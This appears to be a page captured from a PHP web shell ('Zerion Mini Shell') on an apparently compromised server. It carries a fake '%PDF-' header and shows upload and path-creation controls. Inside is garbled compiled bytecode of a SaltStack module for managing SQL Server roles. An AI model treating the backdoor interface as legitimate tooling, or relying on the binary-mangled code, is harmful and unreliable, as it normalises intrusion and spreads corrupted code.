%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/mssql_role.pyc

�
���^c@@sGdZddlmZmZmZd�Zddd�Zd�ZdS(u�
Management of Microsoft SQLServer Databases
===========================================

The mssql_role module is used to create
and manage SQL Server Roles

.. code-block:: yaml

    yolo:
      mssql_role.present
i(tabsolute_importtprint_functiontunicode_literalscC@s
dtkS(u2
    Only load if the mssql module is present
    u
mssql.version(t__salt__(((s:/usr/lib/python2.7/site-packages/salt/states/mssql_role.pyt__virtual__scK@s�i|d6id6td6dd6}td||�rLdj|�|d<|Stdrwd|d<d	j|�|d<|Std
|d|d||�}|tk	r�t|d<|dcd
j||�7<|S|dcdj|�7<d|d|<|S(u�
    Ensure that the named database is present with the specified options

    name
        The name of the database to manage
    owner
        Adds owner using AUTHORIZATION option
    Grants
        Can only be a list of strings
    unameuchangesuresultuucommentumssql.role_existsu@Role {0} is already present (Not going to try to set its grants)utestuRole {0} is set to be addedumssql.role_createtownertgrantsu"Role {0} failed to be created: {1}uRole {0} has been addeduPresentN(tTrueRtformatt__opts__tNonetFalse(tnameRRtkwargstrettrole_created((s:/usr/lib/python2.7/site-packages/salt/states/mssql_role.pytpresents&




cK@s�i|d6id6td6dd6}td|�sIdj|�|d<|Stdrtd|d<d	j|�|d<|Std
||�r�dj|�|d<d|d|<|St|d<d
j|�|d<|S(ug
    Ensure that the named database is absent

    name
        The name of the database to remove
    unameuchangesuresultuucommentumssql.role_existsuRole {0} is not presentutestuRole {0} is set to be removedumssql.role_removeuRole {0} has been removeduAbsentuRole {0} failed to be removedN(RRRR	R
R(RR
R((s:/usr/lib/python2.7/site-packages/salt/states/mssql_role.pytabsent:s$




N(	t__doc__t
__future__RRRRR
RR(((s:/usr/lib/python2.7/site-packages/salt/states/mssql_role.pyt<module>
s	"

Zerion Mini Shell 1.0